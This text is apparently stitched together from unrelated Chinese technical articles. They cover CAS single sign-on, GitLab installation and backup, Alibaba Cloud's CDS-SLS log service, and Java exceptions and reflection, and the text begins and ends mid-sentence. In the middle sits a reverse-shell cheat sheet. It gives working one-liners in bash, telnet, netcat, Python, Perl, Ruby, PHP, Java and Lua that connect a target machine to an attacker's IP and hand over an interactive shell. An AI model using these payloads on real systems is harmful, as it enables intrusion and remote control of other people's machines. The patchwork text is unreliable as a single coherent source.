University）发起的一个开源项目，旨在为 Web 应用系统提供一种可靠的单点登录方法，CAS 在 2004 年 12 月正式成为 JA-SIG 的一个项目。特点1、开源的企业级单点登录解决方案。2、CAS Server 为需要独立部署的 Web 应用。3、CAS Client 支持非常多的客户端(这里指单点登录系统中的各个 Web 应用)，包括 Java, .Net, PHP, Perl, Apache, uPortal, Ruby 等语言编写的各种web应用。4、CAS属于Apache 2.0许可证，允许代码修改，再发布（作为开源或商业软件）。5、原理和协议从结构上看，CAS 包含两个部分： CAS Server 和 CAS Client。CAS Server 需要独立部署，主要负责对用户的认证工作；CAS Client 负责处理对客户端受保护资源的访问请求，需要登录时，重定向到 CAS Server。图1 是 CAS 最基本的协议过程：CAS Client 与受保护的客户端应用部署在一起，以 Filter 方式保护受保护的资源。对于访问受保护资源的每个 Web 请求，CAS Client 会分析该请求的 Http 请求中是否包含 Service Ticket，如果没有，则说明当前用户尚未登录，于是将请求重定向到指定好的 CAS Server 登录地址，并传递 Service （也就是要访问的目的资源地址），以便登录成功过后转回该地址。用户在第 3 步中输入认证信息，如果登录成功，CAS Server 随机产生一个相当长度、唯一、不可伪造的 Service Ticket，并缓存以待将来验证，之后系统自动重定向到 Service 所在地址，并为客户端浏览器设置一个 Ticket Granted Cookie（TGC），CAS Client 在拿到 Service 和新产生的 Ticket 过后，在第 5，6 步中与 CAS Server 进行身份核实，以确保 Service Ticket 的合法性。在该协议中，所有与 CAS 的交互均采用 SSL 协议，确保，ST 和 TGC 的安全性。协议工作过程中会有 2 次重定向的过程，但是 CAS Client 与 CAS Server 之间进行 Ticket 验证的过程对于用户是透明的。另外，CAS 协议中还提供了 Proxy （代理）模式，以适应更加高级、复杂的应用场景。   

开源中国代码托管平台就是基于 GitLab 项目搭建。http://git.oschina.net/GitLab 分为 GitLab Community Edition(CE) 社区版 和 GitLab Enterprise Edition(EE) 专业版。社区版免费，专业版收费，两个版本在功能上的差异对比，可以参考官方对比说明：https://about.gitlab.com/features/#compare。安装过程一、在线安装本文以 CentOS 7.4 && Ubuntu16.04为例，更多安装方法参考：https://about.gitlab.com/installation/准备工作推荐配置至少2C4G.(官方推荐配置，低配机器可自行测试)1. YUM（RedHat 体系）以 CentOS7.4为例：安装依赖sudo systemctl enable sshd sudo systemctl start sshd sudo firewall-cmd --permanent --add-service=http sudo systemctl reload firewalld sudo yum install postfix sudo systemctl enable postfix sudo systemctl start postfix设置 gitlab 安装源官方源安装方法：curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.rpm.sh | sudo bash由于网络问题，国内推荐使用清华大学镜像源进行安装：cat>/etc/yum.repos.d/gitlab-ce.repo<<'EOF' [gitlab-ce] name=Gitlab CE Repository baseurl=https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/yum/el$releasever/ gpgcheck=0 enabled=1 EOF安装 GitLab首先可以设置域名，域名需要保证能够正常解析，可以根据使用场景选择公网域名或者是本地 hosts 测试。sudo EXTERNAL_URL="http://gitlab.ikiwi.me" yum install -y gitlab-ce也可以不设置域名，域名绑定可以随时在配置文件/etc/gitlab/gitlab.rb里进行修改：external_url 'http://gitlab.xxx.com'直接安装：sudo yum install -y gitlab-ce安装完成以后，运行下面的命令进行配置：sudo gitlab-ctl reconfigure2. APT（Debian 体系）以 Ubuntu 16.04为例：安装依赖sudo apt-get update sudo apt-get install -y curl openssh-server ca-certificates sudo apt-get install -y postfix设置 gitlab 安装源官方源安装方法：curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.deb.sh | sudo bash安装 GitLab首先可以设置域名，域名需要保证能够正常解析，可以根据使用场景选择公网域名或者是本地 hosts 测试。sudo EXTERNAL_URL="http://gitlab.ikiwi.me" apt-get install gitlab-ce也可以不设置域名，域名绑定可以随时在配置文件/etc/gitlab/gitlab.rb里进行修改：external_url 'http://gitlab.xxx.com'直接安装：sudo apt-get install gitlab-ce二、离线包安装1. RPM 包（RedHat 体系）以 CentOS7.4为例：wget --content-disposition <https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/7/gitlab-ce-11.0.3-ce.0.el7.x86_64.rpm/download.rpm> rpm -ivh [gitlab-ce-11.0.3-ce.0.el7.x86_64.rpm](https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/7/gitlab-ce-11.0.3-ce.0.el7.x86_64.rpm/download.rpm)2. DEB 包（Debian 体系）以 Ubuntu 16.04为例：wget --content-disposition <https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/xenial/gitlab-ce_11.3.8-ce.0_amd64.deb/download.deb> sudo dpkg -i [gitlab-ce_11.3.8-ce.0_amd64.deb](https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/xenial/gitlab-ce_11.3.8-ce.0_amd64.deb/download.deb)安装完成以后，运行下面的命令进行配置：sudo gitlab-ctl reconfigure整个 Gitlab 项目构成：nginx: 静态 web 服务器gitlab-shell: 用于处理 Git 命令和修改 authorizedkeys 列表gitlab-workhorse: 轻量级的反向代理服务器logrotate：日志文件管理工具postgresql：数据库redis：缓存数据库sidekiq：用于在后台执行队列任务（异步执行）unicorn：An HTTP server for Rack applications，GitLab Rails 应用是托管在这个服务器上面的。安装目录信息：主配置文件: /etc/gitlab/gitlab.rbGitLab 文档根目录: /opt/gitlab默认存储库位置: /var/opt/gitlab/git-data/repositoriesGitLab Nginx 配置文件路径: /var/opt/gitlab/nginx/conf/gitlab-http.confPostgresql 数据目录: /var/opt/gitlab/postgresql/data安装工作完成后，登录 web 界面以及修改账户密码：访问之前设置的域名http://gitlab.example.com/初次登录强制要求修改 root 用户的密码，修改后并登录。登录成功后的主界面:SSL 配置GitLab 默认是使用 HTTP 的，可以手动配置为 HTTPS.上传 SSL 证书创建 ssl 目录，用于存放 SSL 证书# mkdir -p /etc/gitlab/ssl # chmod 0700 /etc/gitlab/ssl上传证书并修改证书权限# chmod 600 /etc/gitlab/ssl/*修改 GitLab 的配置文件修改配置文件/etc/gitlab/gitlab.rbexternal_url "https://gitlab.xxx.com" nginx['redirect_http_to_https'] = true nginx['ssl_certificate'] = "/etc/gitlab/ssl/gitlab.xxx.com.crt" nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/gitlab.xxx.com.key"重启服务，使其生效# gitlab-ctl restart以上操作后，GitLab 自带的 Nginx 服务的配置文件 /var/opt/gitlab/nginx/conf/gitlab-http.conf 会被重新修改：server { listen *:80; server_name gitlab.xxx.com; server_tokens off; ## Don't show the nginx version number, a security best practice return 301 https://gitlab.xxx.com:443$request_uri; access_log /var/log/gitlab/nginx/gitlab_access.log gitlab_access; error_log /var/log/gitlab/nginx/gitlab_error.log; }不用额外再配置，HTTP 会自动跳转到 HTTPS 。记得要对外放行443端口。常用命令服务管理# 启动所有 gitlab 组件： gitlab-ctl start # 停止所有 gitlab 组件： gitlab-ctl stop # 停止所有 gitlab postgresql 组件： gitlab-ctl stop postgresql # 停止相关数据连接服务 gitlab-ctl stop unicorn gitlab-ctl stop sidekiq # 重启所有 gitlab 组件： gitlab-ctl restart # 重启所有 gitlab gitlab-workhorse 组件： gitlab-ctl restart gitlab-workhorse # 查看服务状态 gitlab-ctl status # 生成配置并启动服务 gitlab-ctl reconfigure运维管理# 查看版本 cat /opt/gitlab/embedded/service/gitlab-rails/VERSION # 检查 gitlab gitlab-rake gitlab:check SANITIZE=true --trace # 实时查看日志 gitlab-ctl tail # 数据库关系升级 gitlab-rake db:migrate # 清理 redis 缓存 gitlab-rake cache:clear # 升级 GitLab-ce 版本 yum update gitlab-ce # 升级 PostgreSQL 最新版本 gitlab-ctl pg-upgrade日志排查# 实时查看所有日志 gitlab-ctl tail # 实时检查 redis 的日志 gitlab-ctl tail redis # 实时检查 postgresql 的日志 gitlab-ctl tail postgresql # 检查 gitlab-workhorse 的日志 gitlab-ctl tail gitlab-workhorse # 检查 logrotate 的日志 gitlab-ctl tail logrotate # 检查 nginx 的日志 gitlab-ctl tail nginx # 检查 sidekiq 的日志 gitlab-ctl tail sidekiq # 检查 unicorn 的日志 gitlab-ctl tail unicorn常见报错1.postfix 启动出现 fatal: parameter inet ··· 错误[root@iZbp1h5pmg6spg0eodt4laZ ~]# sudo systemctl start postfix Job for postfix.service failed because the control process exited with error code. See "systemctl status postfix.service" and "journalctl -xe" for details. [root@iZbp1h5pmg6spg0eodt4laZ ~]# systemctl status postfix.service ● postfix.service - Postfix Mail Transport Agent Loaded: loaded (/usr/lib/systemd/system/postfix.service; enabled; vendor preset: disabled) Active: failed (Result: exit-code) since 六 2018-09-15 14:48:32 CST; 23s ago Process: 1856 ExecStart=/usr/sbin/postfix start (code=exited, status=1/FAILURE) Process: 1854 ExecStartPre=/usr/libexec/postfix/chroot-update (code=exited, status=0/SUCCESS) Process: 1851 ExecStartPre=/usr/libexec/postfix/aliasesdb (code=exited, status=75)解决方案：1. 查看 centos 的 postfix 日志 [root@iZbp1h5pmg6spg0eodt4laZ sbin]# more /var/log/maillog Sep 15 14:44:24 localhost postfix/sendmail[961]: fatal: parameter inet_interface s: no local interface found for ::1 Sep 15 14:44:24 localhost postfix[967]: fatal: parameter inet_interfaces: no loc al interface found for ::1 Sep 15 14:48:31 localhost postfix/sendmail[1853]: fatal: parameter inet_interfac es: no local interface found for ::1 Sep 15 14:48:31 localhost postfix[1856]: fatal: parameter inet_interfaces: no lo cal interface found for ::1 Sep 15 14:49:38 localhost postfix/sendmail[1883]: fatal: parameter inet_interfac es: no local interface found for ::1 Sep 15 14:49:38 localhost postfix[1887]: fatal: parameter inet_interfaces: no lo cal interface found for ::1 2. vim /etc/postfix/main.cf 修改 inet_interfaces = localhost inet_protocols = all 为 inet_interfaces = all inet_protocols = all 即可。2. /var/spool/postfix 目录无权限问题[root@linux115 spool]# service postfix start 启动 postfix： [失败] [root@linux115 log]# postfix start postsuper: fatal: scan_dir_push: open directory defer: Permission denied postfix/postfix-script: fatal: Postfix integrity check failed! [root@linux115 log]# postfix check postsuper: fatal: scan_dir_push: open directory defer: Permission denied 1.查看日志文件 more /var/log/maillog 有如下两行： May 26 09:01:51 linux115 postfix/postsuper[6199]: fatal: scan_dir_push: open directory defer: Permission denied May 26 09:01:52 linux115 postfix/postfix-script[6200]: fatal: Postfix integrity check failed! 问题原因： 那是/var/spool/postfix 这个目录拥有都权限的问题，原来默认的拥有都是 root，需要将拥有者改为 postfix，如（1） 解决命令： （1） [root@linux115 spool]# chown -R postfix:postfix /var/spool/postfix/ [root@linux115 spool]# service postfix start 启动 postfix： [确定]备份与恢复GitLab 作为公司项目代码的版本管理系统，数据非常重要，所以应做好备份工作。修改备份目录GitLab 备份的默认目录是/var/opt/gitlab/backups ，如果想改备份目录，可修改/etc/gitlab/gitlab.rb：gitlab_rails['backup_path'] = '/data/backups'修改配置后，记得：gitlab-ctl reconfigure备份命令gitlab-rake gitlab:backup:create该命令会在备份目录（默认：/var/opt/gitlab/backups/）下创建一个 tar 压缩包 xxxxxxxx_gitlab_backup.tar，其中开头的 xxxxxx 是备份创建的时间戳，这个压缩包包括 GitLab 整个的完整部分。自动备份通过任务计划 crontab 实现自动备份# 每天2点备份 gitlab 数据 0 2 * * * /usr/bin/gitlab-rake gitlab:backup:create备份保留7天可设置只保留最近7天的备份，编辑配置文件/etc/gitlab/gitlab.rb# 数值单位：秒 gitlab_rails['backup_keep_time'] = 604800重新加载 gitlab 配置文件gitlab-ctl reconfigure恢复备份文件：/var/opt/gitlab/backups/1499244722_2017_07_05_9.2.6_gitlab_backup.tar停止 unicorn 和 sidekiq ，保证数据库没有新的连接，不会有写数据情况。# 停止相关数据连接服务 gitlab-ctl stop unicorn gitlab-ctl stop sidekiq # 指定恢复文件，会自动去备份目录找。确保备份目录中有这个文件。 # 指定文件名的格式类似：1499242399_2017_07_05_9.2.6，程序会自动在文件名后补上：“_gitlab_backup.tar” # 一定按这样的格式指定，否则会出现 The backup file does not exist! 的错误 gitlab-rake gitlab:backup:restore BACKUP=1499242399_2017_07_05_9.2.6 # 启动 Gitlab gitlab-ctl start扩展：自动备份到阿里云 OSSGitlab 还支持自动备份文件到阿里云 OSS，具体配置如下：修改配置文件 /etc/gitlab/gitlab.rbgitlab_rails['backup_upload_connection']={ 'provider'=>'aliyun', 'aliyun_accesskey_id'=>'xxxxx', # 阿里云 ak 'aliyun_accesskey_secret'=>'xxxxxxxxxxxxxxxx', # 阿里云 aks 'aliyun_oss_endpoint'=>'oss-cn-shenzhen-internal.aliyuncs.com', # 阿里云 oss 连接地址 'aliyun_oss_bucket'=>'xy-gitlab', # oss 的 bucket 地址 'aliyun_oss_location'=>'cn-shenzhen', # oss 地域 } gitlab_rails['backup_upload_remote_directory']='gitlab' # 远端备份路径，即为 bucket 的子目录重启 gitlab，使配置生效gitlab-ctl reconfigure gitlab-ctl restart

0x01 Bash反弹1.1 方法一攻击者主机上执行监听：nc -lvvp port目标主机上执行：bash -i >& /dev/tcp/x.x.x.x/port 0>&1#bash -i 打开一个交互的bash#>& 将标准错误输出重定向到标准输出#/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip，port为端口#0>&1 标准输入重定向到标准输出，实现你与反弹出来的shell的交互注：/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。inux shell下常用的文件描述符是：1.标准输入 (stdin) ：代码为 0 ，使用 < 或 << ；2.标准输出 (stdout)：代码为 1 ，使用 > 或 >> ；3.标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>。另外由于不同Linux发行版之间的差异，该命令在某些系统上可能并不适用。1.2 方法二exec 0&0 2>&00<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&11.3 方法三exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done0x02 telnet反弹2.1 方法一攻击者主机上打开两个终端分别执行监听：nc -lvvp 4444nc -lvvp 5555目标主机中执行：telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555监听两个端口分别用来输入和输出，其中x.x.x.x均为攻击者ip反弹shell成功后，在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。2.2 方法二rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p0x03 nc（netcat）反弹攻击者主机上执行监听命令：nc -lvvp port目标主机上执行：nc -e /bin/bash x.x.x.x port如果目标主机linux发行版本没有 -e 参数，还有以下几种方式：rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f注：mkfifo 命令的作用是创建FIFO特殊文件，通常也称为命名管道，FIFO文件在磁盘上没有数据块，仅用来标识内核中的一条通道，各进程可以打开FIFO文件进行read/write，实际上是在读写内核通道（根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样），这样就实现了进程间通信nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555 #从4444端口获取到命令，bash 运行后将命令执行结果返回 5555 端口，攻击者主机上也是打开两个终端分别执行监听。nc -c /bin/sh x.x.x.x 4444/bin/sh | nc x.x.x.x 44440x04 常见脚本反弹4.1 pythonpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'4.2 perl4.2.1 方法一perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'4.2.2 方法二perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'4.3 Ruby4.3.1 方法一ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'4.3.2 方法二ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'4.4 PHPphp -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'4.5 Javapublic class Revs {/*** @param args* @throws Exception */public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor();}}4.6 Lualua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"注：以上脚本是在目标主机上执行，其中 x.x.x.x 均为攻击者ip，并且需要在攻击者主机上进行监听:nc -lvvp 55550x05 总结上面提到的是常见的反弹shell的方式，肯定还有其他的方式，欢迎大家补充，这里也会不断的跟新。

前言本文作为即将发布的混合云产品 CDS-SLS（Cloud Defined Storage-Simple Log Service）一系列文章中的第二篇，主要进行 CDS-SLS 各功能点概览性的介绍。日志作为数字化的载体，里面包含了后台程序的运行信息，业务运营等信息。日志的查询分析从最早的几台机器的手工 pssh+grep 发展到每个业务的小规模 ELK 或者 EFK（Elasticsearch, Logstash/Filebeat/Fluentd, Kibana），量大的再加上 Kafka，如果有采集 Metric的需求还需要加 Collectd，如果有可视化需求还需要增加 Grafana，对存储备份有需求的还会引入 Ceph，对于基础配置的一致性管理引入 Salt 等，每增加一个组件在高并发场景下硬件成本和运维成本迅速增加。CDS-SLS 作为云化的日志平台，把这些组件进行了高内聚和低耦合，线下用户最低可以在6台规模的机器上将上述所有的功能自动化部署，在运维、运营、财务管理、数据分析报表等大数据场景领域以低代码模式有效解决传统软件中的痛点。术语&背景CDSCDS(Cloud Defined Storage)云定义存储。属于软件定义存储SDS(Software Defined Storage)的一种输出形式，CDS 具备与公共云统一的存储架构和统一的用户体验，减小底座，提供灵活的部署规模和部署形态，融合多个存储产品，提供企业级存储的运维和管理。CDS支持各种存储产品的混部组合，例如 CDS-OSS + CDS-SLS ，CDS-EBS + CDS-SLS 等。产品方面会有敏捷版（SLS 最小规模六台，计划推出缩减到四台的更精简版本）和企业版（SLS 6台到数百台）两种输出形式。CDS 一方面提高专有云企业版和敏捷版的产品竞争力和产品成熟度；另一方面，在端、边缘和客户数据中心等环境实现各类数据的接入、备份、分析。SLSSLS(Simple Log Service) 阿里云日志服务。SLS 起源于阿里云早期飞天底座中的神农监控服务目前已发展为集采集、查询分析、可视化一体的面向云原生可观测性的 *Ops(DevOps、SecOps、 FinOps) 整体解决方案。SLS的主要功能概览SLS 中的日志数据是 AppendOnly，写多读少，对时间敏感但并非要求严格保序，查询频率和热度随时间迅速递减。CDS-SLS 版本继承自阿里云上的 SLS，目前 SLS 已经连续多年支撑阿里双十一/双十二活动，同时支撑众多如新春红包、周年大促等重大活动，在稳定性、功能性以及性能方面得到了充分的验证。本文着重从运维相关的角度来展开 SLS 的各个功能点。SLS 的主链路包含数据采集-数据查询分析-可视化-智能应用，作为计算和存储并重的产品，为了进一步降低线下用户的硬件成本，会进行一些非通用性的功能的裁剪，将硬件本身的计算资源和存储资源发挥到极致。上图是公共云用户视角下的 SLS 功能，对于 CDS-SLS 线下用户，可以在天基平台看到 SLS 服务对应的各个子模块，也能完整看到各进程对应的 CPU 和内存占用。从服务的角度分为数据类和调度类两个大类，前者拆分为 34 个服务角色，后者拆分为 10 个服务角色。拆分后服务的升级和扩缩容将会变得更加容易。SLS内部服务拆分sls-service-master 主要进行调度相关的服务，它的每个服务角色有多个实例确保高可用。主要的服务功能集中在 sls-backend-server 中，大致的分层结构如下：CDS-SLS 目前默认底层分布式存储是盘古 2.0 系统。盘古 2.0 作为阿里云的存储底座具备高性能高稳定性的特征。SLS 的内部业务模块也进行了很好的微服务的拆分，底层使用C++自研，以实现极致的性能。SLS的各模块中有大量的后台参数可以调节，只是我们为了方便客户使用，默认值往往能满足绝大多数客户的需求。很多设计都秉承"提供机制而不是策略（Separation of mechanism and policy）"和“单一职责（Do one thing and do it well）”的经典UNIX思想。用户关心的流控，后台提供多种维度的精确控制，默认的参数可以覆盖绝大部分场景。数据采集Agent（Logtail）经过多年百万机器大规模验证，在性能、稳定性上都有很好保证，相比开源软件，可以大幅降低对机器资源的占用（最高可降低90%）。"查询|分析"的管道式的设计就很好的贯彻了单一职责，查询和分析分别对应不同的后台服务。混合云场景的特殊设计集群形态目前的天基中的SLS相关的集群有两个：底座中的 sls-common 集群共享底座的盘古，提供最基本的查询分析，供阿里云底座中各服务进行自运维，限于底座资源保存时间 7 天。在混合云网络隔离不可达的场景下显著提升运维的效率，开发人员通过几个关键词让现场人员查询即可很快定位问题。用户单独购买的 CDS-SLS 集群，独占一套盘古，集群中只运行SLS相关的进程，有效缓解了底座共享资源紧张的问题，所以日志的 TTL 可以永久保存，并且有体验更好的控制台。本文提到的绝大多数功能都是针对用户单独购买的 CDS-SLS 集群。国产化信创支持目前 CDS-SLS 会支持海光，鲲鹏，飞腾等CPU的架构，并会有严格的和 Intel X86 相同的验收测试。之后还会针对线下输出场景更多异构 CPU 和混合场景的测试支持。针对HTTPS的访问会支持国密 TLS 信道传输，让一些金融或者政企行业的数据访问更合规。开源ELK方案对比和迁移ELK的背景Elastic主要基于Lucene实现，2012 年 Elastic 基于 Lucene 基础库包成了一个更好用的软件，并且在 2015 年推出 ELK Stack（Elastic Logstash Kibana）解决集中式日志采集、存储和查询问题。但是 Lucene 设计场景是 Information Retrial，面对是 Document 类型，因此对于可观测分析（Log/Trace/Metric）数据有一定限制，例如规模、查询能力、以及一些定制化功能（例如智能聚类 LogReduce）。Elasticsearch日志服务说明indexlogstore允许用户将多个 index 上的数据迁移至一个 logstore。typelogItem 中的字段 __tag__:_typedocumentlogItemElasticsearch 的文档和日志服务中的日志一一对应。mappinglogstore 的索引工具默认情况下会为您自动创建好索引。field datatypeslogItem 数据类型具体映射关系参考数据类型映射。日志采集端功能对比目前主流开源社区的日志采集端一般是 Logstash 和 Fluentd，早期版本会进行一些功能和性能的比较，测试结果数据参考功能项LogstashFluentdLogtail日志读取轮询轮询事件触发文件轮转支持支持支持Failover处理 (本地checkpoint)支持支持支持通用日志解析支持grok（基于正则表达式）解析支持正则表达式解析支持正则表达式解析特定日志类型支持delimiter、key-value、json等主流格式支持delimiter、key-value、json等主流格式支持key-value格式数据发送压缩插件支持插件支持LZ4数据过滤支持支持支持数据buffer发送插件支持插件支持支持发送异常处理插件支持插件支持支持运行环境JRuby实现，依赖JVM环境CRuby、C实现，依赖Ruby环境C++实现，无特殊要求线程支持支持多线程多线程受GIL限制支持多线程热升级不支持不支持支持中心化配置管理不支持不支持支持运行状态自检不支持不支持支持cpu/内存阈值保护用户如果之前是 logstash 采集，也可以很容易迁移到 SLS，可以参考：Logstash数据源接入SLSLogstash支持所有主流日志类型，插件支持最丰富，可以灵活 DIY，但性能较差，JVM 容易导致内存使用量高，作为最重要的插件之一的 Grok 性能问题导致很多用户从 ELK 变为 EFK。Fluentd 支持所有主流日志类型，插件支持较多，性能表现较 Logstash 有提升但受限于 Ruby 的 GIL 大锁，性能还需要进一步提高，官方文档也明确了这个缺陷。Ruby has GIL (Global Interpreter Lock), which allows only one thread to execute at a time. While I/O tasks can be multiplexed, CPU-intensive tasks will block other jobs. One of the CPU-intensive tasks in Fluentd is compression.Logtail 占用机器 CPU、内存资源最少，结合阿里云日志服务的 E2E 体验良好，目前经过几年的迭代，功能已经比较完善，尤其是针对容器场景进行了大量的性能优化和用户体验的优化，对于 Daemonset 和 Sidecar 模式的支持比较成熟。查询分析对比•低门槛：完整 SQL92 标准，JDBC 完整协议，支持 Join•高性能：查询延迟相比 ES 低、•智能：支持机器学习AI算法、支持场景化聚合函数场景化函数：通过十余年实战经验沉淀针对数据分析场景的 30+ 聚合计算函数机器学习函数：大数据与机器学习相结合，丰富的机器学习函数多渠道数据源：发挥阿里云平台优势联动更多数据源，如IP地理位置库数据、威胁情报数据、白帽子安全资产库ELK到SLS的数据一键迁移目前的很多用户都是在被多个分散的小的 ES 集群水位和消息队列高并发的时候难以运维选择了 SLS，所以从 ES 到SLS 的迁移就变得非常关键，如何能优雅而且容易的把数据迁移到 SLS，目前 SLS 已经给出了比较成熟易用的方案。ELK到SLS的数据一键迁移方案详情重要特征支持断点续传：调用参数中 cache_path 指定 checkpoint 的存放位置，当迁移程序中断后，重新打开时指定相同的 cache_path 便可以继续迁移任务。迁移速率快：单个 SLS shard， 单个 ES shard，pool_size 为1，可实现接近5M/s的迁移速度。可通过调整 SLS shard 和 pool_size 大小来达到提速。常用的迁移命令模式将 hosts 为 localhost:9200 的 Elasticsearch 中的所有文档导入日志服务的项目 project1 中。aliyunlog log es_migration --cache_path=/path/to/cache --hosts=localhost:9200 --project_name=project1 指定将 Elasticsearch 中索引名以 myindex_ 开头的数据写入日志库 logstore1，将索引 index1,index2 中的数据写入日志库 logstore2 中。aliyunlog log es_migration --cache_path=/path/to/cache --hosts=localhost:9200,other_host:9200 --project_name=project1 --logstore_index_mappings='{"logstore1": "myindex_*", "logstore2": "index1,index2"}}' 后续在保证稳定性的前提下为了追求极致性能会持续进行新版本的迭代升级和更多新功能的引入，客户的通用类需求会放在更高的优先级。例如用户比较直观能感受到的硬件机型 SLS 在线下会从单一款计划增加到三款来满足更多类客户的精细化需求，在常规基础上会引入计算门槛相对低一点的硬件和对于日志保存时长有特殊长时间要求的的金融类客户的存储高密机型。软件层面更快更智能的查询分析作为核心功能会让 CDS-SLS 在一站式的日志平台中给客户更好的体验，SLS 起于日志，不止于日志，其他更多功能后续会持续分享。原创作品：阿里云存储 禅车系列文章传递门：【CDS技术揭秘系列 总篇】阿里云的云定义存储来了https://developer.aliyun.com/article/792044?spm=a2c6h.13148508.0.0.3eef4f0ecyZOjQ【CDS技术揭秘系列 01】阿里云CDS-OSS容灾大揭秘https://developer.aliyun.com/article/792000?spm=a2c6h.13148508.0.0.3eef4f0ecyZOjQ

异常分类Throwable 是 Java 语言中所有错误或异常的超类。下一层分为 Error 和 ExceptionErrorError 类是指 java 运行时系统的内部错误和资源耗尽错误。应用程序不会抛出该类对象。如果 出现了这样的错误，除了告知用户，剩下的就是尽力使程序安全的终止。Exception （ RuntimeException、CheckedException ）Exception 又有两个分支，一个是运行时异常 RuntimeException ，一个是 CheckedException。RuntimeException 如 ： NullPointerException 、 ClassCastException ；一个是检查异常 CheckedException，如 I/O 错误导致的 IOException、SQLException。 RuntimeException 是 那些可能在 Java 虚拟机正常运行期间抛出的异常的超类。 如果出现 RuntimeException，那么一 定是程序员的错误. 13/04/2018Page 102 of 283检查异常 CheckedException ：一般是外部错误，这种异常都发生在编译阶段，Java 编译器会强 制程序去捕获此类异常，即会出现要求你把这段可能出现异常的程序进行 try catch，该类异常一 般包括几个方面：试图在文件尾部读取数据试图打开一个错误格式的 URL试图根据给定的字符串查找 class 对象，而这个字符串表示的类并不存在异常的处理方式遇到问题不进行具体处理，而是继续抛给调用者 （ throw,throws ）抛出异常有三种形式，一是 throw,一个 throws，还有一种系统自动抛异常 。public static void main(String[] args) { String s = "abc"; if(s.equals("abc")) { throw new NumberFormatException(); } else { System.out.println(s); } } int div(int a,int b) throws Exception { return a/b;}try catch 捕获异常针对性处理方式Throw 和 throws 的区别：位置不同throws 用在函数上 ，后面跟的是异常类，可以跟多个； 而 throw 用在函数内 ，后面跟的 是异常对象。功能不同：throws 用来声明异常，让调用者只知道该功能可能出现的问题 ，可以给出预先的处理方 式； throw 抛出具体的问题对象，执行到 throw，功能就已经结束了 ，跳转到调用者，并 将具体的问题对象抛给调用者。也就是说 throw 语句独立存在时，下面不要定义其他语 句，因为执行不到。throws 表示出现异常的一种可能性 ，并不一定会发生这些异常； throw 则是抛出了异常 ， 执行 throw 则一定抛出了某种异常对象。 13/04/2018 Page 103 of 283两者都是消极处理异常的方式，只是抛出或者可能抛出异常，但是不会由函数去处理异 常，真正的处理异常由函数的上层调用处理JAVA 反射动态语言动态语言，是指程序在运行时可以改变其结构：新的函数可以引进，已有的函数可以被删除等结 构上的变化。比如常见的 JavaScript 就是动态语言，除此之外 Ruby,Python 等也属于动态语言， 而 C、C++则不属于动态语言。从反射角度说 JAVA 属于半动态语言。反射机制概念 （运行状态中知道类所有的属性和方法）java基础之方法的示例分析在 Java 中的反射机制是指 在运行状态中，对于任意一个类都能够知道这个类所有的属性和方法； 并且对于任意一个对象，都能够调用它的任意一个方法 ；这种动态获取信息以及动态调用对象方 法的功能成为 Java 语言的反射机制。反射的应用场合编译时类型和运行时类型在 Java 程序中许多对象在运行是都会出现两种类型：编译时类型和运行时类型。 编译时的类型由 声明对象时实用的类型来决定，运行时的类型由实际赋值给对象的类型决定 。如： Person p=new Student();其中编译时类型为 Person，运行时类型为 Student 。 13/04/2018Page 104 of 283的编译时类型无法获取具体方法程序在运行时还可能接收到外部传入的对象， 该对象的编译时类型为 Object ,但是程序有需要调用 该对象的运行时类型的方法。为了解决这些问题， 程序需要在运行时发现对象和类的真实信息 。 然而，如果编译时根本无法预知该对象和类属于哪些类，程序只能依靠运行时信息来发现该对象 和类的真实信息，此时就必须使用到反射了。Java 反射 API反射 API 用来生成 JVM 中的类、接口或则对象的信息。Class 类：反射的核心类，可以获取类的属性，方法等信息。Field 类：Java.lang.reflec 包中的类，表示类的成员变量，可以用来获取和设置类之中的属性 值。Method 类： Java.lang.reflec 